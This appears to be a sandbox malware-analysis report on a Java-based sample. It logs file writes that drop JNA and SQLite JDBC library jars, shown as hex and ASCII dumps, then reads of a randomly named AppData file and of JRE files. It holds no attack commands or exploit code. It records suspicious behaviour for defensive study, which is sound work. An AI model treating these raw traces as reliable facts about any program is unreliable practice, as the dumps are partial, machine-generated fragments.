onfiguration;)J...o...Ljava/la
ng/Object;...e...Ljava/lang/
Exception;...config.. 
Ljava/awt/
GraphicsConfiguration;..|..'
ge
tAlphaCompatibleGraphics
Configuration.."
()Ljava/awt/Graphics
Configuration;.
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 30 6e e9 21 fa 3e 99 
59 fe b8 ab 68 23 86 
af a1 fe 4d 17 48 9e 
ba 87 77 d7 05 60 fd 
18 f1 17 f8 a2 39 7c 
3c 51 41 f7 94 4f c8 
e1 23 f1 53 72 f8 18 f8 
79 92 6e 43 d0 2d 64 
fd 83 83 c9 eb 83 87 
47 fd 28 31 60 09 59 
40 0a c9 47 69 82 e6 
3f a6 d8 87 e1 76 00 
06 09 d3 01 58 e5 c5 
b6 13 5e 2b 7a fe f7 
80 c7 d6 e8 1d 5d 59 
95 70 f3 28 4c 91 ed 
03 b3 4a c0 d8 95 17 
2c 9a 35 67 9f 01 e6 
1e 9d e4 87 cc 48 62 
05 ab f4 c1 82 56 cd 
9d c4 c0 ca a1 38 38 
1c b5 05 b9 49 ec 91 
40 14 3f f0 a1 50 27 
86 29 0f 53 9e d9 ca 
6d b8 6d 10 5a 15 d7 
4b e1 ac 6f 33 0e 90 
a5 ab ad 58 28 8f af 
3c 46 f2 5f d9 66 a1 6f 
8b 05 69 23 be 52 2d 
97 e2 28 e6 d6 2e 41 
de b2 66 37 cd 35 a8 
d5 4e 2c 56 e9 1d 2c 
24 81 95 16 ee a2 78 
29 91 aa 9f 48 cb d5 
ba 12 e2 12 fc c2 6a 
9d e4 2c 67 45 25 60 
9d 

0n.!.>.Y...h#....M.H...w..`...
...9|<QA..O..#.Sr...y.nC.-
d.......G.
(1`.Y@..Gi..?....v.....X
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......j..,gE%`.
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 2f 53 74 64 43 61 6c 
6c 4c 69 62 72 61 72 
79 2e 63 6c 61 73 73 
85 52 db 4a c3 40 10 
3d d3 6a a2 b5 6a b5 
de ea b5 5e 40 7d 31 
a2 8f 8a 22 d1 42 21 
a6 62 6b c1 27 d9 a4 
8b a4 c6 8d e4 a2 f8 
59 e2 83 a0 e0 07 f8 
51 e2 a4 14 51 54 5c 
d8 99 9d d9 99 39 b3 
73 f6 ed fd f9 15 c0 16 
96 74 4c e9 28 e5 90 
c1 74 3f 7a 31 a3 63 
56 c7 9c 8e 79 1d 0b 
3a ca 84 e1 7a dc 32 
85 ef a7 db 11 ee 15 
21 5f 55 4a 86 a6 2f 
a2 48 46 84 d1 7a e3 
d0 3c b0 ac 0b b3 66 
37 8f ec 46 b5 66 13 
a8 4a 18 34 03 15 c5 
42 c5 4d e1 27 32 cb 
78 fb 5c ae 72 66 9b 
69 cc c5 f1 c1 c9 c9 
d1 29 61 d6 72 83 6b 
23 4a 94 d1 56 c2 a8 
24 ca 8d bd 40 1d 8b 
9b 1b 19 ee 10 fa 76 
5d df 53 5e bc 47 c8 
ae ad 37 09 3d 66 d0 
92 5c c8 f2 94 b4 93 
6b 47 86 0d e1 f8 ec 
c9 d5 83 24 74 65 c5 
4b 8d 62 b7 6d cb 73 
42 11 

/StdCallLibrary.class.R.J.
@.=.
j..j....^@}1...".B!.bk.'......
...Y......Q...QT\.....9.s.....
...tL.(...t?z1.cV...y..:...z.2
.......!_UJ../.HF..z..<....f7.
.F.f..J.4...B.M.'2.x.\.rf.i...
....)a.r.k#J..V..$...@........
v].S^.G...7.=f..\.....kG......
..$te.K.b.m.sB.
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 69 6e 64 6f 77 3b 01 
00 05 63 68 69 6c 64 
01 00 03 78 77 61 01 
00 11 58 57 69 6e 64 
6f 77 41 74 74 72 69 
62 75 74 65 73 01 00 
31 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 58 57 69 
6e 64 6f 77 41 74 74 
72 69 62 75 74 65 73 
3b 01 00 02 69 64 01 
00 05 72 6f 6f 74 70 
01 00 11 57 69 6e 64 
6f 77 42 79 52 65 66 
65 72 65 6e 63 65 01 
00 31 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 57 69 
6e 64 6f 77 42 79 52 
65 66 65 72 65 6e 63 
65 3b 01 00 07 70 61 
72 65 6e 74 70 01 00 
09 63 68 69 6c 64 72 
65 6e 70 01 00 24 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 74 72 
2f 50 6f 69 6e 74 65 
72 42 79 52 65 66 65 
72 65 6e 63 65 3b 01 
00 06 63 6f 75 6e 74 
70 01 00 02 5b 49 01 
00 01 

indow;...child...xwa...XWin
dow
Attributes..1Lcom/sun/jna/
plat
form/unix/X11$XWindowAt
tribute
s;...id...rootp...WindowByR
efe
rence..1Lcom/sun/jna/platf
orm/
unix/X11$WindowByRefer
ence;...
parentp...childrenp..$Lcom
/sun
/jna/ptr/PointerByReferenc
e;...countp...[I...
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d6 32 df a5 6b e0 05 
99 f3 27 64 1f d1 f3 d0 
09 1a 67 a9 b1 06 56 
38 64 a2 53 64 12 03 
ac 73 ec 4d ff 4e 4e 
eb ff 00 50 4b 03 04 
0a 00 00 08 08 00 8c 
8c 5e 4f 7c 16 26 cc 
3c 03 00 00 1d 06 00 
00 2c 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 77 69 6e 33 
32 2f 57 33 32 41 50 
49 46 75 6e 63 74 69 
6f 6e 4d 61 70 70 65 
72 2e 63 6c 61 73 73 
8d 54 db 52 13 41 10 
3d 93 db c4 75 15 8c 
08 06 bc e1 05 93 60 
88 06 bc 60 40 c4 08 
1a 0d 41 8d 48 e9 db 
92 2c b0 b8 6c ac cd 
c6 cb a7 e8 0f f8 aa 
a5 86 2a ad b2 7c f6 
a3 d4 33 9b 28 20 c1 
b2 28 7a 7a 66 ba cf 
f4 39 dd d9 ef 3f 3e 7f 
05 90 c5 a2 86 83 18 
8b e2 62 14 97 f6 a0 
0b 97 35 5c c1 b8 86 
ab c8 49 4c 68 90 18 
53 66 52 99 6b 12 53 
1a ae 63 5a c3 0d 8c 
4b e4 25 6e 6a cc 99 
51 89 b3 ca dc 92 b8 
2d 

.1FQd=..2..k....'d......g...V8
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 63 96 20 42 db ef a2 
3c 17 79 e9 6d f5 de 
a5 22 63 4b 5e 6c 2a 
7a 58 e6 19 8b b7 16 
07 62 3b d6 0f c5 58 
28 8b 88 99 5c 2c d2 
c3 c6 f2 5e a6 ec b9 
a9 65 83 29 3f 9a 09 
64 46 5a 76 02 e5 f6 
08 0c 08 6e 02 e6 a0 
a0 f8 52 82 a5 fc 2e 
b8 03 7a d1 42 63 a9 
b3 c4 d0 15 f7 ce 74 
a9 16 04 8a 2a 5e c1 
d0 a6 5a 4a f6 65 b6 
c8 6f c0 b8 91 1f 82 
91 9d 17 69 1b 69 ea 
1e e4 b5 e2 91 04 8a 
c8 58 8a f3 8d c5 30 
fe 4a ba 2f 35 d3 4b 
eb 41 76 a2 23 3a fb 
99 28 7b bc 20 59 52 
30 c7 ee 69 4c 1e c4 
1b 3a ad af 02 b2 73 
a7 20 4e 6e 64 39 a4 
48 70 64 50 3c dd d3 
29 16 e9 35 6d f9 1b 
cd 4b 45 a9 da fb b3 
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69 6e 74 65 72 01 00 
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29 56 01 00 0c 73 65 
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01 00 a0 28 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
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75 6e 2f 6a 6e 61 2f 
70 6c 

gesOutput;)Z...size...()I...to
Array...(I)
[Lcom/sun/jna/Struc
ture;...get...
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ject;...S...getPointer...()Lco
m/sun/jna/Pointer;...setSho
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jna/platform/unix/X11$Disp
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80 ae 3c 68 08 8f 67 
c4 b9 ea e8 e5 3f 4d 
fa 75 9d 49 3c eb 1f 
72 95 82 63 d9 7d 17 
bc fe 32 ab 19 cc 7f 
44 7f e9 ec de 3e 42 
cb b7 8a 81 06 8e bd 
f2 b1 49 58 06 69 5b 
65 d9 5e 2c 82 63 ef 
6e d6 1f 07 c5 ac 62 
54 24 bc bd 4f a4 e3 
00 9e 2b 88 24 bb f2 
3d 09 43 db 00 ee 1f 
14 3c b6 92 d3 e4 ed 
f9 ad fc c4 5e 90 3d 
29 6a 7c 19 c0 0e 97 
31 b3 2f 0f a0 c3 43 
e8 66 e8 fe 00 0c 83 
40 2e b9 b1 da a9 ac 
54 fd ee 56 16 bd e0 
bc 30 63 ee 0d a2 d9 
0b 6f f0 6c 44 31 8d 
0b c1 8d d8 63 37 b5 
2f 71 8b dc f2 00 50 
41 32 7f e2 f2 da fb b5 
6c 

..V..k...r.....&.J.B\....,E..A

.......`.....L..g...*[..8v..n.n.....
(....5`../I...<h..g.....?
M.u.I<..r..c.}...2....D....>B
.........IX.i[e.^,.c.n.....bT$
..O....+.$..=.C.....<.........
^.=)j|....1./...C.f.....@.....
.T..V....0c.....o.lD1.....c7./
q....PA2......l

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 c0 b1 c0 8d a8 ef 35 
e1 bb 2c 12 4e 0c 7a 
34 eb 63 fb 87 4b 77 
64 ed b1 1b 2c ca 36 
73 f6 27 8b be 84 3f 
9c cb 09 08 3a cb de 
d6 b1 85 90 6f 29 bc 
dd 40 b4 b7 4a b6 a5 
76 30 a7 f8 54 1b e6 
10 d2 86 c4 3e 99 c9 
73 5e 9a 98 0e f6 80 
27 fa b6 55 49 ba f2 
4c 8b 67 76 5e a6 12 
42 7f 53 f6 4d 82 b8 
15 8c 1b 30 d6 9d 75 
46 c5 97 0d f3 f9 e0 
22 99 5c ec 71 3d 10 
3f b6 01 9a d0 37 5c 
76 bc 07 ef 31 06 a2 
e0 4a 3a 5c b1 df 01 
da 95 f0 90 bb c1 7e 
da 26 09 06 d2 f7 c0 
f0 1a f5 8c 53 69 05 
73 c7 94 7d 92 5b b1 
c5 b0 c5 c2 99 bf 02 
a4 b3 77 2e 3a 1a d8 
8e db d9 ee 1c 36 58 
ab 30 1a 11 8f 03 36 
63 f8 90 fc d2 60 58 
63 8a 9c 1b 58 f0 43 
f7 d2 ca 0d 38 9d 06 
eb e7 1b 15 27 cd a6 
7e 15 0b c1 fa bf 39 
70 83 20 39 99 9b 39 
a8 c7 3c a8 b9 8a 93 
26 b6 1a 94 24 cf ca 
33 50 3e 

......5..,.N.z4.c..Kwd...,.6s.
'...?....:......o)..@..J..v0..
T......>..s^.....'..UI..L.gv^.
.B.S.M.....0..uF......".\.q=.?
....7\v...1...J:\.........~.&.
........Si.s..}.[..........w.:
.......6X.0....6c....`Xc...X.C
....8......'..~.....9p. 9..9..
<....&...$..3P>

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 52 65 63 74 61 6e 67 
6c 65 3b 49 29 49 01 
00 07 58 46 72 65 65 
47 43 01 00 4c 28 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 75 
6e 69 78 2f 58 31 31 
24 44 69 73 70 6c 61 
79 3b 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 47 43 
3b 29 49 01 00 10 6a 
61 76 61 2f 6c 61 6e 
67 2f 4f 62 6a 65 63 
74 01 00 08 67 65 74 
43 6c 61 73 73 01 00 
13 28 29 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
43 6c 61 73 73 3b 01 
00 0f 6a 61 76 61 2f 
6c 61 6e 67 2f 43 6c 
61 73 73 01 00 09 67 
65 74 4d 65 74 68 6f 
64 01 00 40 28 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 3b 5b 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
43 6c 61 73 73 3b 29 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 72 65 66 
6c 65 63 74 2f 4d 65 
74 68 6f 64 3b 01 00 
18 6a 

Rectangle;I)I...XFreeGC..L
(Lco
m/sun/jna/platform/unix/X1
1$Di
splay;Lcom/sun/jna/platfor
m/un
ix/X11$GC;)I...java/lang/O
bject...getClass...
()Ljava/lang/Cl
ass;...java/lang/Class...get
Me
thod..@(Ljava/lang/String;
[Lja
va/lang/Class;)Ljava/lang/r
eflect/Method;...j

success or wait 2 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 69 72 65 63 74 46 6f 
72 6d 61 74 01 00 09 
61 6c 70 68 61 4d 61 
73 6b 01 00 08 76 69 
73 75 61 6c 69 64 01 
00 28 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 56 69 
73 75 61 6c 49 44 3b 
01 00 03 61 64 64 01 
00 15 28 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 29 
5a 01 00 05 58 46 72 
65 65 01 00 18 28 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 50 6f 69 
6e 74 65 72 3b 29 49 
01 00 0d 58 43 6c 6f 
73 65 44 69 73 70 6c 
61 79 01 00 0d 69 73 
55 6e 64 65 63 6f 72 
61 74 65 64 01 00 0a 
58 51 75 65 72 79 54 
72 65 65 01 00 f6 28 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 75 6e 69 78 2f 58 
31 31 24 44 69 73 70 
6c 61 79 3b 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 

irectFormat...alphaMask...
visualid..
(Lcom/sun/jna/platform/u
nix/X11$VisualID;...add...
(Lja
va/lang/Object;)Z...XFree...
(L
com/sun/jna/Pointer;)I...XC
los
eDisplay...isUndecorated...
XQueryTree...
(Lcom/sun/jna/platfo
rm/unix/X11$Display;Lcom
/sun/jna/platform/uni

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 67 72 6f 75 6e 64 01 
00 12 28 29 4c 6a 61 
76 61 2f 61 77 74 2f 
43 6f 6c 6f 72 3b 01 
00 0e 6a 61 76 61 2f 
61 77 74 2f 43 6f 6c 6f 
72 01 00 08 67 65 74 
41 6c 70 68 61 01 00 
46 28 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 58 31 31 57 69 6e 
64 6f 77 55 74 69 6c 
73 3b 4c 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 3b 5a 29 
56 01 00 83 28 4c 63 
6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 58 31 31 
57 69 6e 64 6f 77 55 
74 69 6c 73 3b 4c 6a 
61 76 61 2f 61 77 74 
2f 57 69 6e 64 6f 77 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
58 31 31 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 50 69 78 6d 61 70 
53 6f 

ground...
()Ljava/awt/Color;...
java/awt/Color...getAlpha..
F(L
com/sun/jna/platform/Wind
owUti
ls$X11WindowUtils;Ljava/
awt/Window;Z)V...
(Lcom/sun/jna/platf
orm/WindowUtils$X11Wind
owUtils
;Ljava/awt/Window;Lcom/s
un/jna
/platform/WindowUtils$X11
WindowUtils$PixmapSo

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 cf a1 2e c2 66 ba 35 
b7 e7 b0 2e 42 ba b5 
75 d3 ad bd 8f 6e 1d 
03 74 eb 1a a2 db 91 
08 dd ba c7 e8 d6 3b 
41 b7 be 81 4f 9b b1 
8b b0 e8 6e bc 0d 94 
d0 6d 90 dd 86 86 e9 
db f0 18 dd 22 93 74 
1b 89 d2 6d 6c 96 6e 
e3 09 ba 4d 58 29 c0 
a4 93 6e 53 f9 70 0b 
1d 0f 70 8b 34 95 83 
d5 e1 1c ce e6 a3 d7 
b0 b4 3b 4c d8 bf b6 
37 d9 bf 46 cf a1 88 
49 66 0f c7 f1 9a e3 
08 f5 62 17 60 78 2f 
eb 51 43 8e 54 07 5c 
1b 2c ce fa 82 b0 7b 
da ab fe ec 5f 10 cd 
19 28 00 a7 b0 67 da 
a7 74 62 ac 7a ed 2d 
37 a3 f6 ca 2d 93 24 
fa 49 92 c7 66 f4 1a 
28 dd c0 49 72 32 92 
e2 7f cf 68 50 aa 5a fa 
48 cf d4 4f 52 2f 02 40 
51 68 af 12 0e 50 47 
5e 52 05 03 08 7e 3a 
86 15 ff 21 ec b7 dc 
2d 53 5f ef 13 f8 7c ef 
29 c9 f1 74 73 2e be 
87 12 26 54 cd 09 a1 
9a d9 ec d9 44 49 c3 
27 39 67 e2 32 d4 02 

....f.5....B..u....n..t.......

....;A...O.....n....m.........
".t...ml.n...MX)...nS.p...p.4.
..........;L...7..F...If......
.b.`x/.QC.T.\.,....{...._...(.
..g..tb.z.-7...-.$.I..f..(..Ir
2....hP.Z.H..OR/.@Qh...PG
^R...~:...!...-
S_...|.)..ts....&T..
.....DI.'9g.2..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 77 55 74 69 6c 73 24 
58 31 31 57 69 6e 64 
6f 77 55 74 69 6c 73 
3b 4c 6a 61 76 61 2f 
61 77 74 2f 69 6d 61 
67 65 2f 52 61 73 74 
65 72 3b 29 56 01 00 
20 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 57 69 6e 64 6f 77 
55 74 69 6c 73 01 00 
26 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 75 6e 69 78 2f 58 
31 31 24 44 72 61 77 
61 62 6c 65 01 00 27 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 75 
6e 69 78 2f 58 31 31 
24 58 47 43 56 61 6c 
75 65 73 01 00 33 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 52 61 
73 74 65 72 52 61 6e 
67 65 73 55 74 69 6c 
73 24 52 61 6e 67 65 
73 4f 75 74 70 75 74 
01 00 24 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 56 69 
73 

wUtils$X11WindowUtils;Lj
ava/awt/image/Raster;)V.. 
com/sun/jn
a/platform/WindowUtils..&c
om/s
un/jna/platform/unix/X11$
Drawa
ble..'com/sun/jna/platform/
uni
x/X11$XGCValues..3com/
sun/jna/
platform/RasterRangesUtil
s$Ran
gesOutput..$com/sun/jna/p
latform/unix/X11$Vis

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 bc 00 b8 00 0b 00 00 
01 87 00 bd 00 be 00 
00 00 00 01 87 00 bf 
00 c0 00 01 00 00 01 
87 00 c1 00 c2 00 02 
00 04 01 83 00 c3 00 
c4 00 03 00 0a 01 7d 
00 c5 00 b4 00 04 00 
17 01 70 00 c6 00 b8 
00 05 00 24 01 63 00 
c7 00 b8 00 06 00 33 
01 54 00 c8 00 c9 00 
07 00 47 01 40 00 ca 
00 cd 00 08 00 7b 01 
0c 00 ce 00 cf 00 09 
00 d0 00 00 00 0c 00 
01 00 7b 01 0c 00 ce 
00 d1 00 09 00 d2 00 
00 00 52 00 05 ff 00 
4e 00 09 07 00 d3 07 
00 d4 07 00 d5 07 00 
d6 07 00 d7 01 01 07 
00 d8 07 00 d9 00 00 
fe 00 56 07 00 da 07 
00 1c 01 fa 00 9c ff 00 
32 00 0a 07 00 d3 07 
00 d4 07 00 d5 07 00 
d6 07 00 d7 01 01 07 
00 d8 07 00 d9 07 00 
da 00 01 07 00 db 0e 
00 01 00 dc 00 dd 00 
01 00 a7 00 00 00 43 
00 01 00 01 00 00 00 
0e 2a b7 00 2e be 9e 
00 07 04 a7 00 04 03 
ac 00 00 00 03 00 a8 
00 00 

..............................

..................}.........p.

......$.c.......3.T.......G.@.

......{.................{.....

........R....N................

.............V............2...

..............................

..............C........*......

...............

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 cd 0a 7d f3 06 c6 36 
6a c5 17 d9 02 f5 92 
6e 66 1a 3a f1 b5 3a 
a0 6e e4 59 f6 eb ef 
62 a3 f4 2d 2a c7 8c 
d5 59 b1 9a 81 1c 3e 
e4 af 6a f5 41 cd 0b 
e5 75 22 6a f6 aa ef ff 
1c d3 2d fa 2a df 58 
a2 90 28 c3 d6 4e 34 
4a 5e 75 53 ea e7 d2 
27 d1 72 dd 7b 92 a3 
81 ee 8e 5a 9d 58 2f 
25 8b 76 22 9a e1 ae 
90 74 47 cb 2b 58 c5 
1d 53 2c 05 2f 50 c2 
14 ff 19 b3 4f fd 71 80 
6b c1 08 67 d2 88 c6 
24 42 a2 77 79 47 19 
07 f6 17 c9 be 72 01 
5a 49 a0 8d 35 a8 ae 
9e 9a cc 46 8c dc 12 
e1 a0 11 01 ca 95 0d 
df e5 ca 2a c5 5f cb 
74 b3 b7 84 d9 2a 9e 
cc 1a 68 a3 be a5 55 
a1 3b f1 39 74 12 6a 
58 f3 44 11 5e b7 13 
07 1d e1 f3 b0 b4 0e 
93 3b 69 82 62 7d 4e 
63 01 73 97 2b 0e d9 
14 1e 12 d5 4c b1 4f 
f0 a4 ed 28 61 ee b2 
bd 9d 73 c6 d1 7c 3c 
49 64 65 99 a2 8b 50 
f9 f1 1c c1 7f 55 b6 1e 

..}...6j......nf.:..:.n.Y...b..-
*...Y....>..j.A...u"j......-.*.X..
(..N4J^uS...'.r.{.....Z.
X/%.v"....tG.+X..S,./P.....O.
q.k..g...$B.wyG......r.ZI..5...
..F.............*._.t....*...h
...U.;.9t.jX.D.^..........;i.b
}Nc.s.+......L.O...(a....s..|<
Ide...P.....U..

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 38 14 00 39 ad 00 
01 00 00 00 1d 00 1e 
00 37 00 03 00 a8 00 
00 00 1e 00 07 00 00 
06 27 00 0a 06 28 00 
12 06 29 00 16 06 2a 
00 1e 06 2c 00 1f 06 
2e 00 23 06 2f 00 a9 
00 00 00 20 00 03 00 
16 00 08 00 e0 00 e1 
00 01 00 1f 00 08 00 
e2 00 e3 00 01 00 00 
00 27 00 e4 00 e5 00 
00 00 d2 00 00 00 06 
00 01 5e 07 00 e6 00 
01 00 e7 00 e8 00 01 
00 a7 00 00 01 4f 00 
04 00 0a 00 00 00 6e 
2a b6 00 3b 99 00 65 
b8 00 3c 4c 2b b6 00 
3d 4d 03 3e 1d 2c be 
a2 00 54 2c 1d 32 b6 
00 3e 3a 04 03 36 05 
15 05 19 04 be a2 00 
3b 19 04 15 05 32 b8 
00 3f 37 06 2a b7 00 
2e 3a 08 03 36 09 15 
09 19 08 be a2 00 1a 
16 06 19 08 15 09 2f 
94 9a 00 09 19 04 15 
05 32 b0 84 09 01 a7 
ff e4 84 05 01 a7 ff c3 
84 03 01 a7 ff ac 2a 
b7 00 40 b0 00 00 00 
03 00 a8 00 00 00 42 
00 10 00 00 06 36 00 
07 06 

.8..9..........7.............'...
(...)...*...,.....#./..... 
.........................'....
..........^................O..
.....n*..;..e..<L+..=M.>.,...T
,.2..>:..6........;....2..?7.*
...:..6.............../.......
.2...................*..@.....
.....B.....6...

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 ea cb 6b d2 c3 a8 e3 
f5 2c 10 26 67 4a a5 
4a 2c 0c 0b 0d 8a 9e 
13 a4 4a 2c 17 0a d4 
99 ed ab d4 ca c5 0a 
be 4a ad 86 a8 3a 58 
f6 5b 78 71 71 96 5b 
29 1f c8 3a 2f 6d d7 7f 
45 b0 ff 5d 8e 33 55 
95 38 79 d4 89 95 16 
59 71 e4 4a 70 5e f1 
be 22 72 8d e4 7d 4b 
2a 74 ac e4 1c 7c d5 
12 cc f1 75 4b a8 e8 
1c 5c d2 aa ce 41 03 
2a 3b 07 b7 a8 ee 1c 
dc d2 0a cf 59 7c 4b 
b4 c2 73 20 17 85 9f 
e8 0f 8d ce c9 16 d5 
21 fa 61 cc 88 35 0b 
21 87 79 f8 df 3f 53 88 
04 cc f7 19 8e 1c b8 
3e 1d f4 5b 30 aa 12 
24 d3 4b b3 05 e7 85 
f8 f9 f3 dc 5e 60 80 54 
ce b5 1b 97 b8 0b 31 
82 27 7a d1 62 8a 74 
79 72 31 6d 4b 37 fa 
37 13 c5 16 a7 50 16 
4b 85 73 a1 f1 2d 3f 
b1 4c 8b bd b0 f8 8a 
e8 60 d2 06 dd d8 67 
a3 74 32 a6 e0 02 56 
0b f6 75 ce 0a b6 a3 
af a0 56 de eb 3c aa 
57 db fd 68 7d 70 9b 

..k.....,.&gJ.J,.......J,.....

......J...:X.[xqq.[)..:/m..E..
].3U.8y....Yq.Jp^.."r..}K*t...
|....uK...\...A.*;.........Y|K..s 
..........!.a..5.!.y..?S........>..
[0..$.K........^`.T..
....1.'z.b.tyr1mK7.7....P.K.s
..-?.L......`....g.t2...V..u...
...V..<.W..h}p.

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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File Path Offset Length Completion Count
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Address Symbol

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 22 success or wait 1 95712E ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 success or wait 1 95712E ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 success or wait 1 95712E ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 end of file 1 95712E ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 success or wait 1 6D6DC013 unknown

File ReadFile Read
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 end of file 1 6D6DC2CA unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 396 success or wait 1 6D7378A0 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 635 success or wait 1 6D737965 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 97 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 end of file 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 783 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 1024 success or wait 786 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

